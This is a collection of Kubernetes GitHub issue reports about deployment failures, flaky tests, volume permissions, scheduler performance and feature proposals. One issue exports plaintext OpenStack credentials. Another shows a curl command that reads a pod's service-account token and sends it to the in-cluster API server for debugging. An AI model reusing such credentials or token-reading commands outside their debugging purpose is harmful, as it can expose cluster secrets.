kubernetes version    use  kubectl version  : trying to deploy 1.6.0-beta4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : mirantis openstack 9.2  mitaka  over vmware vsphere\r -   os    e.g. from /etc/os-release :centos 7.3  1611 \r -   kernel    e.g.  uname -a  : 3.10.0-514.el7.x86_64\r -   install tools  : kube-up.sh from 1.6.0-beta4 release\r -   others  : deployed from a centos 7 machine into openstack using the following parameters:\r    \r export os_tenant_name='admin'\r export os_tenant_id=d9e0430698984610b523d448c4609490\r export os_project_name='admin'\r export os_username='admin'\r export os_password='admin'\r export os_auth_url='http://10.178.11.224:5000/v2.0'\r export os_default_domain='default'\r export os_auth_strategy='keystone'\r export os_region_name='regionone'\r \r export stack_name=kube-stack\r export number_of_minions=2\r export max_number_of_minions=4\r export master_flavor=m1.medium\r export minion_flavor=m1.medium\r export external_network=admin_floating_net\r export dns_server=8.8.8.8\r export swift_server_url=http://10.178.11.224:8080/v1/auth_d9e0430698984610b523d448c4609490\r export enable_proxy=false\r export openstack_image_name=centos-7-x86_64-genericcloud-1611.vmdk\r export image_format=vmdk\r export stack_create_timeout=150\r    \r \r   what happened  : deployment is not finished. going into master and minion saw some docker errors:\r \r    \r mar 21 18:43:44 kube-stack-master kube-master-addons.sh 12726 : redirecting to /bin/systemctl restart  docker.service\r mar 21 18:43:44 kube-stack-master systemd 1 : starting docker cleanup...\r mar 21 18:43:44 kube-stack-master systemd 1 : starting docker storage setup...\r mar 21 18:43:44 kube-stack-master systemd 1 : started docker cleanup.\r mar 21 18:43:44 kube-stack-master sh 2097 : cannot connect to the docker daemon. is the docker daemon running on this host?\r mar 21 18:43:44 kube-stack-master docker-storage-setup 2098 : info: volume group backing root filesystem could not be determined\r mar 21 18:43:44 kube-stack-master docker-storage-setup 2098 : error: no valid volume group found. exiting.\r mar 21 18:43:44 kube-stack-master systemd 1 : docker-storage-setup.service: main process exited, code=exited, status=1/failure\r mar 21 18:43:44 kube-stack-master systemd 1 : failed to start docker storage setup.\r mar 21 18:43:44 kube-stack-master systemd 1 : unit docker-storage-setup.service entered failed state.\r mar 21 18:43:44 kube-stack-master systemd 1 : docker-storage-setup.service failed.\r mar 21 18:43:44 kube-stack-master systemd 1 : starting docker application container engine...\r mar 21 18:43:44 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:44.218692166z\  level=info msg=\ libcontainerd: new containerd process, pid: 2131\ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.263180412z\  level=warning msg=\ devmapper: usage of loopback devices is strongly discouraged for production use. please use  --storage-opt dm.thinpooldev  or use  man docker  to refer to dm.thinpooldev section.\ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.279969801z\  level=warning msg=\ devmapper: base device already exists and has filesystem xfs on it. user specified filesystem  will be ignored.\ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.296839273z\  level=info msg=\  graphdriver  using prior storage driver \\\ devicemapper\\\ \ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.323070349z\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.323983231z\  level=info msg=\ loading containers: start.\ \r mar 21 18:43:45 kube-stack-master dockerd-current 2124 : time=\ 2017-03-21t18:43:45.416310778z\  level=fatal msg=\ error starting daemon: error initializing network controller: error creating default \\\ bridge\\\  network: bridge device with non default name cbr0 must be created manually\ \r mar 21 18:43:45 kube-stack-master systemd 1 : docker.service: main process exited, code=exited, status=1/failure\r mar 21 18:43:45 kube-stack-master systemd 1 : failed to start docker application container engine.\r mar 21 18:43:45 kube-stack-master kube-master-addons.sh 12726 : job for docker.service failed because the control process exited with error code. see \ systemctl status\r docker.service\  and \ journalctl -xe\  for details.\r mar 21 18:43:45 kube-stack-master systemd 1 : unit docker.service entered failed state.\r mar 21 18:43:45 kube-stack-master systemd 1 : docker.service failed.\r mar 21 18:43:45 kube-stack-master systemd 1 : starting docker storage setup...\r mar 21 18:43:45 kube-stack-master systemd 1 : starting docker cleanup...\r mar 21 18:43:45 kube-stack-master docker-storage-setup 2165 : info: volume group backing root filesystem could not be determined\r mar 21 18:43:45 kube-stack-master sh 2166 : cannot connect to the docker daemon. is the docker daemon running on this host?\r mar 21 18:43:45 kube-stack-master systemd 1 : started docker cleanup.\r mar 21 18:43:45 kube-stack-master docker-storage-setup 2165 : error: no valid volume group found. exiting.\r mar 21 18:43:45 kube-stack-master systemd 1 : docker-storage-setup.service: main process exited, code=exited, status=1/failure\r mar 21 18:43:45 kube-stack-master systemd 1 : failed to start docker storage setup.\r mar 21 18:43:45 kube-stack-master systemd 1 : unit docker-storage-setup.service entered failed state.\r mar 21 18:43:45 kube-stack-master systemd 1 : docker-storage-setup.service failed.\r mar 21 18:43:45 kube-stack-master systemd 1 : starting docker application container engine...\r mar 21 18:43:45 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:45.483274168z\  level=info msg=\ libcontainerd: new containerd process, pid: 2199\ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.535359895z\  level=warning msg=\ devmapper: usage of loopback devices is strongly discouraged for production use. please use  --storage-opt dm.thinpooldev  or use  man docker  to refer to dm.thinpooldev section.\ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.549667437z\  level=warning msg=\ devmapper: base device already exists and has filesystem xfs on it. user specified filesystem  will be ignored.\ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.562902380z\  level=info msg=\  graphdriver  using prior storage driver \\\ devicemapper\\\ \ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.587127787z\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.588027232z\  level=info msg=\ loading containers: start.\ \r mar 21 18:43:46 kube-stack-master dockerd-current 2191 : time=\ 2017-03-21t18:43:46.690343505z\  level=fatal msg=\ error starting daemon: error initializing network controller: error creating default \\\ bridge\\\  network: bridge device with non default name cbr0 must be created manually\ \r mar 21 18:43:46 kube-stack-master systemd 1 : docker.service: main process exited, code=exited, status=1/failure\r mar 21 18:43:46 kube-stack-master systemd 1 : failed to start docker application container engine.\r mar 21 18:43:46 kube-stack-master systemd 1 : unit docker.service entered failed state.\r mar 21 18:43:46 kube-stack-master systemd 1 : docker.service failed.\r mar 21 18:43:46 kube-stack-master kube-master-addons.sh 12726 : job for docker.service failed because the control process exited with error code. see \ systemctl status\r docker.service\  and \ journalctl -xe\  for details. \r    \r \r   what you expected to happen  : deploy to finish correctly\r \r \r   how to reproduce it    as minimally and precisely as possible : i just uploaded centos7 image into glance, downloaded 1.6.0-beta4 tar.gz from releases, set the environment variables above and ran  kubernetes_provider=openstack-heat ./cluster/kube-up.sh \r \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no\r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r kube-controller-manager currently supports --cluster-cidr and --node-cidr-mask-size\r for ipv6, these arguments need to be made plural.\r multiple ip addresses are needed for the dual stack case, where ipv4 and ipv6 are used,\r also for ipv6 only multiple v6 addresses may be used.\r \r \r   kubernetes version    use  kubectl version  :\r latest\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

 \r i have a pr that i am trying to merge that ads a flag to hack/verify-flags/known-flags.txt  https://github.com/kubernetes/kubernetes/pull/49382 . i can't get pull-kubernetes-verify to pass as it keeps timing out  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/pull/49382/pull-kubernetes-verify/ \r comparing with logs other prs that do pass the check i have an additional 15 minutes spent on fetching godeps due to change in hack/ directory. as it usually takes ~45mins to run a successfull pull-kubernetes-verify, my chances of merging are close to 0. \r \r example excerpt from https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/49382/pull-kubernetes-verify/43937/build-log.txt\r verifying hack/make-rules/../../hack/verify-godeps.sh\r i0807 13:48:00.045  checking for 'godeps/' changes against 'bootstrap-upstream/master'\r i0807 13:48:00.267  no 'godeps/' changes detected.\r i0807 13:48:00.271  checking for 'vendor/' changes against 'bootstrap-upstream/master'\r i0807 13:48:00.506  no 'vendor/' changes detected.\r i0807 13:48:00.510  checking for 'hack/' changes against 'bootstrap-upstream/master'\r i0807 13:48:02.323  +++  0807 13:48:02  starting to download all kubernetes godeps. this takes a while\r i0807 13:50:53.413  +++  0807 13:50:53  download finished\r i0807 13:50:53.714  running godep save. this will take around 15 minutes.\r i0807 14:05:21.760  \r i0807 14:05:21.761  don't forget to run:\r i0807 14:05:21.761  - hack/update-bazel.sh to recreate the build files\r i0807 14:05:21.761  - hack/update-godep-licenses.sh if you added or removed a dependency!\r i0807 14:05:22.247  godeps verified.\r i0807 14:05:22.248  removing /tmp/gopath.jlbk34\r i0807 14:05:24.930  \u001b 0;32msuccess\u001b 0m  hack/make-rules/../../hack/verify-godeps.sh\t1044s

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r using azurefile volume after 1.8.x mount the share onto host with both dir_mode and file_mode options set to 0700, which was changed in this commit.\r https://github.com/kubernetes/kubernetes/commit/4378c7ae8eb94b47db31b9846bf72a0e2e020270 diff-b99f7ac20a1bc605e253dfde484cee68\r \r this disallow any container run with non root user  which is the suggested way to run app  to access the contents.\r \r   what you expected to happen  :\r \r the mode should at least set to 755 or even 777, which seem to be fine since we can still configure  accessmode  of volume or  readonly  of volumemount.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use azurefile at 1.8.x up versions.\r \r   anything else we need to know?  :\r \r https://github.com/kubernetes/kubernetes/pull/45337 might solve this too, but closed : \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: bare metal on azure vm\r - os  e.g. from /etc/os-release : ubuntu 16.04.2\r - kernel  e.g.  uname -a  : linux   114-ubuntu smp tue aug 8 11:56:56 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r move the new pv scheduling library code into a separate package so that the scheduler doesn't need to pull in the entire persistentvolume controller package.

   \r   overview\r the kubernetes authentication and authorization webhooks rely on a config file for which a path is passed to the apiserver as a flag on startup. i would like the ability to dynamically configure authentication and authorization webhooks by creating, updating and deleting kubernetes resources through the kubernetes api.\r \r with this a privileged cluster admin could configure authentication and authorization webhooks conveniently and dynamically without having to interact with files on a filesystem and rebooting the api server. another scenario enabled would be being able to configure authentication and authorization on hosted kubernetes environments like gke or eks where without being able to configure dynamically one is unable to configure them at all.\r \r   suggested api\r a user with proper rights  rbac  system:auth-delegator  maybe  is able to list/get/create/update/delete two new resources  authenticationwebhook  and  authorizationwebhook  which both provide the same info that the current webhook config file as well as an order for ordering evaluation of the dynamic webhooks.\r \r the existing webhooks from the arguments to the api-server will not be in this system and will be considered independent  although they may share the same code to execute the webhooks .\r \r    kind: authenticationwebhook\r apiversion: ...\r metadata:\r   name: my-custom-authn\r spec:\r     order: 5   a number used to sort the webhooks into an order used for evaluation\r     certificateauthority: …   contains the base64 encoded certificate authority of the server\r     server: https://authn.example.com/authenticate\r     clientcert: …   contains the base64 encoded client certificate\r     clientkey: secret-name   the name of a secret that contains the client key.\r    \r \r    kind: authorizationwebhook\r apiversion: ...\r metadata:\r   name: my-custom-authz\r spec:\r     order: 3   a number used to sort the webhooks into an order used for evaluation\r     certificateauthority: …   contains the base64 encoded certificate authority of the server\r     server: https://authn.example.com/authenticate\r     clientcert: …   contains the base64 encoded client certificate\r     clientkey: secret-name   the name of a secret that contains the client key.\r    \r \r   goal\r i would like to get feedback and aim to contribute the code to enable this feature targeting release in kuberenetes 1.12\r

now in   dobackoff       we use the finished time of _latest exited container_ as the start point of backoff delay.    case 1:   if the container exited itself, this works well:  latest exited container a finished -->  backoff delay  --> new container b started     case 2:   however, if a container is just killed in the same syncpod loop, for example container with liveness probing failure, because its container status hasn't been updated yet, it is still _running_. in this condition the _latest exited container_ may not work well:  latest exited container a finished -->  last backoff delay  --> container b started, running and finished -->  new backoff delay  --> new container c started   ideally, we should use the finished time of container b as the backoff start point, however now we are using the finished time of container a. this may be acceptable, because it may only cause kubelet sometimes not do backoff restart when it should. however, there are some better options for   case 2  :   1  use started time of container b as start point  this is only a little better...    2  use now   as start point  this almost means never starting the container in the current syncloop, which is similar with 3      3  start container in next syncloop  after pleg observes the old container is killed   /cc @kubernetes/sig-node

i wanted to kick the tires of kubernetes by following the instructions at   running kubernetes locally via docker  http://kubernetes.io/docs/getting-started-guides/docker/  , but the system i was on already was using port 8080. after poking around i recalled this bit of knowledge and therefore tried to change the --api-servers=http://localhost:8080  flag to use another port, 9080, but internally the kubernetes pod still wants to use port 8080.  of all the ways to try kubernetes, this is certainly the easiest way yet i've seen to stand it up on a machine. just install docker-engine and then you have kubernetes - pretty sweet. it would nice if that page would mention how to alter the port. is this just a matter of documentation, or should the change to --api-servers have worked?  i was trying this with v1.2.0-beta.1, as in: k8s_version=\ 1.2.0-beta.1\  docker run \\     --volume=/:/rootfs:ro \\     --volume=/sys:/sys:ro \\     --volume=/var/lib/docker/:/var/lib/docker:rw \\     --volume=/var/lib/kubelet/:/var/lib/kubelet:rw \\     --volume=/var/run:/var/run:rw \\     --net=host \\     --pid=host \\     --privileged=true \\     -d \\     gcr.io/google_containers/hyperkube-amd64:v${k8s_version} \\     /hyperkube kubelet \\         --containerized \\         --hostname-override=\ 127.0.0.1\  \\         --address=\ 0.0.0.0\  \\         --api-servers=http://localhost:9080 \\         --config=/etc/kubernetes/manifests \\         --allow-privileged=true --v=2  but even so, docker logs of the proxy servers showed failed posts to port 8080.

these tests all spin up a local etcd server, talk with it, and then tear it down. it seems likely to me that that integration-like behavior is not actually be necessary, they should instead talk to a fake etcd server. we have lots of integration tests already that talk to a real etcd server.  for an idea of how slow these are: they take up approximately a quarter of our test time. this is about 200 seconds for each api version, so 400 seconds per  kubernetes-test-go  run. we run that suite about 43 times a day, which means we're blowing about 1700 compute hours a year on these tests.  kubernetes-test-go-1.2  is the same story, and pr builder will add a similar figure... they come out to about half a year of compute time every year.  the extra three minutes are also painful for devs.  cc @krousey @liggitt

vagrant getting started guide:  kubernetes/docs/getting-started-guides/vagrant.md is an empty shell pointing to its new location on the web at http://releases.k8s.io/release-1.2/docs/getting-started-guides/vagrant.md with the source for said web page being located at kubernetes.github.io/docs/getting-started-guides/vagrant.md.  however, http://releases.k8s.io/release-1.2/docs/getting-started-guides/vagrant.md has been deleted. see kubernetes/kubernetes.github.io 294.  1  thus, the file kubernetes/docs/getting-started-guides/vagrant.md, the empty shell, is now pointing to a file that  no longer exists.  this file should be deleted.   there was a similar almost duplicate version of the file that was deleted that is in the devel/ tree:  https://github.com/kubernetes/kubernetes/blob/release-1.2/docs/devel/developer-guides/vagrant.md.  this version of the vagrant guide as with the other documents in the devel/ tree have not been moved to the web site docs in the releases.k8s.io fork. however the file docs/devel/running-locally.md has a link in it that is pointing to the now deleted version of the vagrant guide.   not running linux? consider running linux in a local virtual machine with  vagrant  ../getting-started-guides/vagrant.md , or on a cloud provider like  google compute engine  ../getting-started-guides/gce.md .  2  this link needs to be updated to point to the remaining version of the vagrant guide instead of pointing to the deleted version.    i have a pr that addresses these two issues:  24495

i increased qps limits locally to 100 and run scalability tests in 1000-node cluster, but with all  switched off. in that situation, scheduler is able to sustain 100pods/s throughput.  however, i looked into scheduler cpu profile, and interesting this is that we spend most of the time on: - memory allocations / gc - some super trivial operations like:      2% in runtime.mapiterinit - accessing elements in maps  it seems that mostly from resourcelist   so in order to significantly improve scheduler throughput we need to: - optimize \ spreading    which is the most expensive  now - reduce the amount of garbage we are producing during scheduling  @davidopp

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-autoscaling-migs/868/  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pods are pending due to host port conflict  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:174 expected error:     < errors.errorstring | 0xc420fcb170>: {         s: \ some pods are still not running:  host-port-wjwac \ ,     }     some pods are still not running:  host-port-wjwac  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:173      previous issues for this test:  33793  35108

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/25753/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a service. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:89 expected error:     < errors.errorstring | 0xc42041d8b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:79      previous issues for this test:  29040

compiling a list of high level known issues that customers should be aware of while deciding to use federation:\r \r -  x  no way to disable specific apis   38593 \r -     alpha apis are enabled by default  https://github.com/kubernetes/kubernetes/issues/44291 \r -     no upgrade testing   38537 \r -  x  no kubectl tests  https://github.com/kubernetes/kubernetes/issues/32826 \r -  x  not all e2e tests are green  https://github.com/kubernetes/kubernetes/issues/37105 \r -     unclear auth story  https://github.com/kubernetes/kubernetes/issues/35254 \r -     not all api resources are supported in federation  http://kubernetes.io/docs/user-guide/federation/ lists the supported resources \r -     need to design ha federation control plane  https://github.com/kubernetes/features/issues/104 \r \r \r cc @kubernetes/sig-federation-misc \r

the following error pops up randomly in various cluster-autoscaler tests, usually resulting in about 1 test failed / 10 runs of the whole suite  so ~1% probability per test . this error is responsible for most of the test failures in the suite.\r \r    \r expected error:\r     < errors.errorstring | 0xc420e9f4d0>: {\r         s: \ timeout waiting 5m0s for appropriate cluster size\ ,\r     }\r     timeout waiting 5m0s for appropriate cluster size\r not to have occurred\r    \r \r cc: @mwielgus @fgrzadkowski

following  27988 \r \r i'm trying to start fluentd-elasticsearch addon and i'm receiving some errors.\r \r error 1:\r it asks to use 1.24, that doesn't exist on gcr, i changed the yaml to 1.23, and the image is there.\r \r error 2:\r after the fluentd container starts, i receive this error:\r    \r 2017-07-25 14:28:35 +0000  info : reading config file path=\ /etc/td-agent/td-agent.conf\ \r 2017-07-25 14:28:35 +0000  info : starting fluentd-0.12.35\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-mixin-config-placeholders' version '0.4.0'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-mixin-plaintextformatter' version '0.2.6'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-elasticsearch' version '1.9.5'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-kafka' version '0.5.5'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-kubernetes_metadata_filter' version '0.27.0'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-mongo' version '0.8.0'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-rewrite-tag-filter' version '1.5.5'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-s3' version '0.8.2'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-scribe' version '0.10.14'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-td' version '0.10.29'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-td-monitoring' version '0.2.2'\r 2017-07-25 14:28:35 +0000  info : gem 'fluent-plugin-webhdfs' version '0.4.2'\r 2017-07-25 14:28:35 +0000  info : gem 'fluentd' version '0.12.35'\r 2017-07-25 14:28:35 +0000  info : adding match pattern=\ fluent.  \  type=\ null\ \r 2017-07-25 14:28:35 +0000  info : adding filter pattern=\ kubernetes.  \  type=\ kubernetes_metadata\ \r 2017-07-25 14:28:35 +0000  error : config error file=\ /etc/td-agent/td-agent.conf\  error=\ invalid kubernetes api v1 endpoint https://10.3.0.1:443/api: ssl_connect returned=1 errno=0 state=error: certificate verify failed\ \r 2017-07-25 14:28:35 +0000  info : process finished code=256\r 2017-07-25 14:28:35 +0000  warn : process died within 1 second. exit.\r    \r \r i changed the image to ubuntu-slim with a sleep 3600 as a command, and logged into to test the serviceaccount and the certificates:\r    \r   ls -lha /var/run/secrets/kubernetes.io/serviceaccount/\r total 4.0k\r drwxrwxrwt. 3 root root  140 jul 25 14:44 .\r drwxr-xr-x. 3 root root 4.0k jul 25 14:44 ..\r drwxr-xr-x. 2 root root  100 jul 25 14:44 ..7987_25_07_16_44_35.537770041\r lrwxrwxrwx. 1 root root   31 jul 25 14:44 ..data -> ..7987_25_07_16_44_35.537770041\r lrwxrwxrwx. 1 root root   13 jul 25 14:44 ca.crt -> ..data/ca.crt\r lrwxrwxrwx. 1 root root   16 jul 25 14:44 namespace -> ..data/namespace\r lrwxrwxrwx. 1 root root   12 jul 25 14:44 token -> ..data/token\r   curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -h \ authorization: bearer $ cat /var/run/secrets/kubernetes.io/serviceaccount/token \  https://10.3.0.1:443\r {\r   \ paths\ :  \r     \ /api\ ,\r     \ /api/v1\ ,\r     \ /apis\ ,\r     \ /apis/\ \r ...\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. statefulset at scale 1 is created.\r 2. the only pod is placed and running on one of 2 worker nodes.\r 3. the worker node with running pod shuts down and never starts up again.\r 4. the pod never moved to other node.\r \r   what you expected to happen  :\r 1. the pod would move to other node after expiration of default tolerations \ node.alpha.kubernetes.io/notready:noexecute for 300s\  and \ node.alpha.kubernetes.io/unreachable:noexecute for 300s\ \r 2. \ kubectl delete pod pod-on-shutdown-node\  would induce the expected movement while the node is down -- it did not happen either.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create statefulset spec with one container and one replica in, say, sset.yml.\r 2. have kubernetes installation with 2 worker nodes.\r 3. kubectl create -f sset.yml\r 4. kubectl get pod, to check to see where the only pod is scheduled, say, node n.\r 5. shutdown node n with \ shutdown -h\ .\r 6. check to see that the pod did not move to other worker node in 10 minutes after node n halt time.\r \r   anything else we need to know?  :\r 1. a deployment behaves as indicated in the \ what you expected to happen\  section.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration  : virtual machines with vagrant 2.0.0 and virtualbox 5.1.28-117968 on intel r  xeon r  cpu e5-2690 v3 24 cores with ubuntu 16.04 lts\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  vm \r - kernel  e.g.  uname -a  : 4.4.0-96-generic  vm \r - install tools: kubeadm 1.8.1-00\r - others:\r

/ /  /status approved-for-milestone\r @kubernetes/sig-cli-test-failures \r \r this test has been failing since at least 2017-11-23 in the following jobs:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-master\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-cluster-parallel\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.8-downgrade-cluster-parallel\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.8-downgrade-cluster-parallel\r \r these jobs are on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevent us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this test back to green?\r \r triage cluster  9171dbbaaa771d52dba5  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cli%5c%5d%5c%20kubectl%5c%20client%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20kubectl%5c%20describe%5c%20should%5c%20check%5c%20if%5c%20kubectl%5c%20describe%5c%20prints%5c%20relevant%5c%20information%5c%20for%5c%20rc%5c%20and%5c%20pods%5c%20%5c%5bconformance%5c%5d 9171dbbaaa771d52dba5 \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/kubectl.go:934\r nov 21 15:24:34.066: failed to find created by: in name:           redis-master-fjtpl\r namespace:      e2e-tests-kubectl-h9s9j\r    \r \r - also failing in:\r   - https://k8s-testgrid.appspot.com/sig-release-master-kubectl-skew skew-clustermaster-kubectl1.8-gce\r   - https://k8s-testgrid.appspot.com/sig-release-master-kubectl-skew skew-cluster1.8-kubectl1.8-gke\r - related issues or prs:\r   - https://github.com/kubernetes/kubernetes/issues/43464\r   - https://github.com/kubernetes/kubernetes/issues/41898

as a admin for big cluster, i would want to see how much aws api calls i consume and be alerted when i'm reaching the aws api call limits.\r \r it would be good if cloud-manager plugins provide some generic prometheus metrics that count the api calls.\r \r related: https://github.com/kubernetes/kubernetes/issues/31061\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r l  found the autorization and autentication's handle was regisry ,but l can't find anywhere to call\r \r   what you expected to happen  :\r l want know where is call when the request come in\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r when a tag is applied and then removed using the  service.beta.kubernetes.io/aws-load-balancer-additional-resource-tags  annotation, the tag  continues to exist on the aws elb. \r \r   what you expected to happen  :\r additional tags applied to the elb should always match the annotation. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a simple deployment and service using the manifest below and  kubectl apply -f \r    \r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: name\r         image: nginx\r         imagepullpolicy: always\r         resources:\r           requests:\r             cpu: 100m\r             memory: 200mi\r         ports:\r         - containerport: 80\r \r ---\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-additional-resource-tags: \ app=nginx,costcenter=123,env=nonprod\ \r   name:  nginx-lb\r spec:\r   ports:\r   - port: 80\r     targetport: 80\r   selector:\r     app: nginx\r   type: loadbalancer\r    \r then modify the manifest, as shown below, by removing the env tag from the annotation, then  kubectl apply -f  again\r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-additional-resource-tags: \ app=nginx,costcenter=123\ \r   name:  nginx-lb\r spec:\r   ports:\r   - port: 80\r   